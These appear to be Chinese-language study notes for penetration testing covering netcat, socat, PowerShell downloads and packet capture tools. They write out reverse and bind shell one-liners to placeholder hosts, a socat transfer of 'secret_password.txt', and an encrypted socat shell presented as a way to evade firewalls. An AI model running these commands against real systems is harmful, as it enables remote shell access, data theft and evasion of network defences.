# Netcat
很牛逼的工具,可以创建 TCP 或 UDP 的连接,同时可以是服务端也可以是客户端。
-n
跳过 dns 解析-v
显示详情-l
监听-p
指定端口
可以使用重定向符号进行传文件的传递
-e
可以指定执行程序,并重定向输入输出到这个程序上,如: nc -lnvp 4444 -e cmd.exe
,然后使用 nc 连这个端口就能拿到 shell
当然上面那个是监听端启动 shell,也可以建立最常用的反向连接: nc -nv X.X.X.X 4444 -e /bin/bash
# socat
用法: socat - TCP4:X.X.X.X:110
,建立 110 端口的 TCP 连接,中间的 -
使链接成为交互式。
sudo socat TCP4-LISTEN:443 STDOUT
: 起了一个 TCP 监听,443 端口需要使用 sudo 权限,STDOUT 采用标准输入输出。
监听后使用第一个的方法可以建立会话发送数据。
如果想要发送文件,可以通过如下方法:
sudo socat TCP4-LISTEN:443,fork file:secret_password.txt
:指定了发送的文件,开启了监听,当有会话接入时将 fork 一个子进程出来进行文件的传输。
socat TCP4:X.X.X.X:443 file:received_file.txt,create
:指定名称保存。
反向 shell:
监听: socat -d -d TCP4-LISTEN:4444 STDOUT
, 连用两个 -d
增加调试级别,显示更详细的输出。
弹 shell: socat TCP4:X.X.X.X:4444 EXEC:/bin/bash
socat 还可以进行加密,可以隐藏敏感数据或规避防火墙。
通过 openssl 生成 rsa 证书,将其转换成 pem 格式。
sudo socat OPENSSL-LISTEN:443,cert=XXX.pem,verify=0,fork EXEC=/bin/bash
: 使用选定的证书进行加密,取消 ssl 验证
socat - OPENSSL:X.X.X.X:443,verify=0
: 禁用 ssl 证书验证,建立连接
# Powershell & Powercat
使用 powershell 下载文件: powershell -c "(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/1.txt','path_to_save\1.txt')"
powershell 下的反弹 shell 很复杂,懒得记了。从网上查吧。
可以通过 powershel 反弹,NC 监听。正向 shell 也一样 ==、
powershell 的功能十分丰富。
powercat 是 powershell 版本的 natcat,在 windows 环境下做了适配,有更复杂的网络功能,且支持加密。
# 流量处理
wireshark 和 tcpdump
wireshark 是图形化界面的,研究下过滤的方法
tcpdump 也一样 ==、
只讲了些基础,具体实操根据需求自己组装。